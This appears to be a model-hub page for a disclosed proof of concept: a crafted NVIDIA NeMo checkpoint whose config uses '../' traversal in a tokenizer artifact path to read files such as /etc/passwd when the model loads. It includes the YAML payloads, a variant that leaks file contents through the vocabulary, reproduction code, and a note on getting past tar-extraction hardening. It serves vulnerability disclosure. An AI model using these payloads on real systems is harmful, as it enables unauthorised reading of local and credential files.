Instructions to use asmit007/nemo-path-traversal-poc with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- NeMo
How to use asmit007/nemo-path-traversal-poc with NeMo:
# tag did not correspond to a valid NeMo domain.
- Notebooks
- Google Colab
- Kaggle
PoC β NVIDIA NeMo .nemo Path Traversal / Arbitrary File Read (nemo: artifact paths)
This is a security proof-of-concept, not a real model. attacker.nemo is a
minimal, benign-looking NeMo ASR checkpoint whose model_config.yaml contains a
crafted tokenizer.model_path artifact reference that escapes the archive
extraction directory using ../ traversal.
- Project:
NVIDIA-NeMo/NeMo(main) - Sink:
nemo.core.connectors.save_restore_connector.SaveRestoreConnector.register_artifact - Class: CWE-22 Path Traversal β arbitrary local file read/open on model load
- Impact: arbitrary local file read at the loader's privileges (not RCE, not file write)
Malicious element
model_config.yaml:
tokenizer:
type: bpe
model_path: "nemo:../../../../../../../../etc/passwd" # <-- traversal payload
The nemo: value is resolved by register_artifact as
os.path.abspath(os.path.join(app_state.nemo_file_folder, src[5:])) with no
../containment validation, so it resolves to /etc/passwd β outside the
per-restore extraction sandbox β and the tokenizer then opens it automatically.
Reproduce
from nemo.collections.asr.models import EncDecCTCBPEModel
EncDecCTCBPEModel.restore_from("attacker.nemo")
During construction, _setup_tokenizer calls
register_artifact('tokenizer.model_path', 'nemo:../../../../etc/passwd'), which
returns /etc/passwd, and SentencePieceTokenizer(model_path='/etc/passwd')
opens that out-of-sandbox file. (It then errors because /etc/passwd is not a
valid SentencePiece proto β the security-relevant event, opening a file outside
the archive, has already occurred.)
For clean content disclosure, swap in the WPE variant so the target file's lines are loaded into the tokenizer vocabulary:
tokenizer:
type: wpe
vocab_path: "nemo:../../../../etc/hostname"
β readable via model.tokenizer.get_vocab().
Notes
- Read-only: the resolver requires the target to already exist (no write/create).
- Runs at the privilege of the process calling
restore_fromβ no escalation. - The archive itself is clean and passes NeMo's
is_safe_tar_member; the payload is a config string, so it bypasses the tar-extraction hardening entirely.
Full write-up and patch: see the linked Huntr report.
- Downloads last month
- 23